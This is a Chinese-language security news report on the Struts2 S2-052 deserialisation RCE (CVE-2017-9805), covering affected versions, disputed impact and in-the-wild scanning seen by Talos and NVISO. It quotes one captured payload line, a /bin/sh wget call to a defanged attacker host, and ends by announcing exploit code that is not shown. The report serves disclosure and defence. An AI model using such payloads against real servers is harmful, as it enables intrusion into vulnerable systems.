Struts2 新漏洞(S2-052)出現(xiàn)利用實例,面對漏洞企業(yè)應當分秒必爭
9月5日,千瘡百孔的 Struts2 應用又曝出存在新的高危遠程代碼執(zhí)行漏洞(S2-052)。該漏洞由 lgtm.com 的安全研究員匯報,編號為 CVE-2017-9805 ,漏洞危害程度為高危(Critical)。其實,相似的漏洞已經(jīng)在 Struts 中多次發(fā)現(xiàn),今年早些時候攻擊者還利用了 Windows 服務器中的 Apache Struts 漏洞散發(fā) Cerber 勒索軟件。
近日,來自思科 Talos 實驗室和 NVISO 實驗室的研究員也發(fā)現(xiàn),已經(jīng)有攻擊者真實利用了 S2-052 的漏洞。
事實上,漏洞爆出的第二天,就有研究人員利用這個漏洞進行了滲透測試。
有一些研究人員表示,這個遠程代碼利用漏洞與 Struts 反序列化處理不受信任的數(shù)據(jù)有關,會影響自 2008 年以來所有版本的 Apache Struts,從 Struts 2.5 到 Struts 2.5.12。由于 Struts REST 通信插件在反序列化過程中無法合理處理 XML payloads,因此所有使用這個插件的 web 應用都有可能遭到遠程代碼執(zhí)行攻擊。目前財富 100 強的企業(yè)中,至少有 65% 的企業(yè)使用 Struts,因此,這些企業(yè)都應當提高警惕。
而來自 Contrast Security 的安全專家則表示:
這個漏洞只影響同時使用 Struts 2 和 Struts 2 REST 插件的應用。ZDNet 對此漏洞影響的報道有些夸大,他們可能默認了所有使用 Struts 2 的人都會使用 Struts 2 REST 插件。而我們所檢測到的數(shù)據(jù)顯示,我們所負責的 Java 應用使用 Struts 2 REST 插件的比例不到 1%。來自 Maven 的數(shù)據(jù)顯示,Struts 2 核心庫擁有 167 名下游客戶,而 Struts 2 REST 插件庫則只有 9 名下游客戶,由此可以看出這個插件的應用范圍和漏洞的影響范圍。 |
不論是影響范圍廣,還是影響范圍小,只要有漏洞,就有可能被攻擊者利用。
來自思科 Talos 實驗室和 NVISO 實驗室的研究員就表示,有攻擊者利用一個俄羅斯網(wǎng)站發(fā)送請求并搜集結果,檢測是否存在漏洞尚未修復的服務器,以便進一步展開攻擊。
漏洞爆出后,我們很快就發(fā)現(xiàn)攻擊者利用這個漏洞的實例。目前,利用實例看起來只處于初步探測階段,同時會發(fā)出請求、檢測可能存在的未修復漏洞的目標。如下是我們檢測到的發(fā)出 HTTP 請求的樣本。 |
- <string>/bin/sh</string><string>-c</string><string>wget -qO /dev/null http://wildkind[.]ru:8082/?vulnerablesite</string>
這個請求將會發(fā)起 wegt 請求,將 HTTP 的相應結果寫入 /dev/null。這意味著這個請求純粹進行的是瀏覽檢測活動,可以識別遠程服務器上有哪些網(wǎng)站存在可被利用的漏洞。
NVISO 安全專家也檢測到了類似結果:
由于該行為向 /struts2-rest-showcase/orders/3 發(fā)送了 POST 請求,因此我們第一時間檢測到了這個活動抓包結果顯示,這個活動主要是為了探查存在漏洞的目標:抓包到的 payload 實際上是 /bin/sh 命令,能執(zhí)行某被入侵的俄羅斯網(wǎng)站發(fā)布的靜默 wget 命令,獲取請求瀏覽的網(wǎng)站名稱,而下載內容則會被丟棄。 |
Talos 研究員還表示,這個活動探測過程中,有可能會發(fā)送惡意文件。目前還在進一步分析之中。
這再一次說明,只要有漏洞爆出,黑客黑快就會進行利用。在S2-052 漏洞爆出的 48 小時內,我們不斷監(jiān)測利用該漏洞的系統(tǒng)活動。其實漏洞出現(xiàn)的第一時間就有補丁發(fā)布,但是黑客為了錢,還是能很快進行逆向并開發(fā)出利用代碼。如今的網(wǎng)絡環(huán)境中,如果企業(yè)花幾星期甚至幾個月對漏洞進行應急響應已經(jīng)來不及了?,F(xiàn)在需要在幾天或者幾小時內迅速響應才能避免更多損失。在應急響應中,企業(yè)應當分秒必爭。
以下附上攻擊實例利用代碼,僅做研究參考,嚴禁用于非法目的。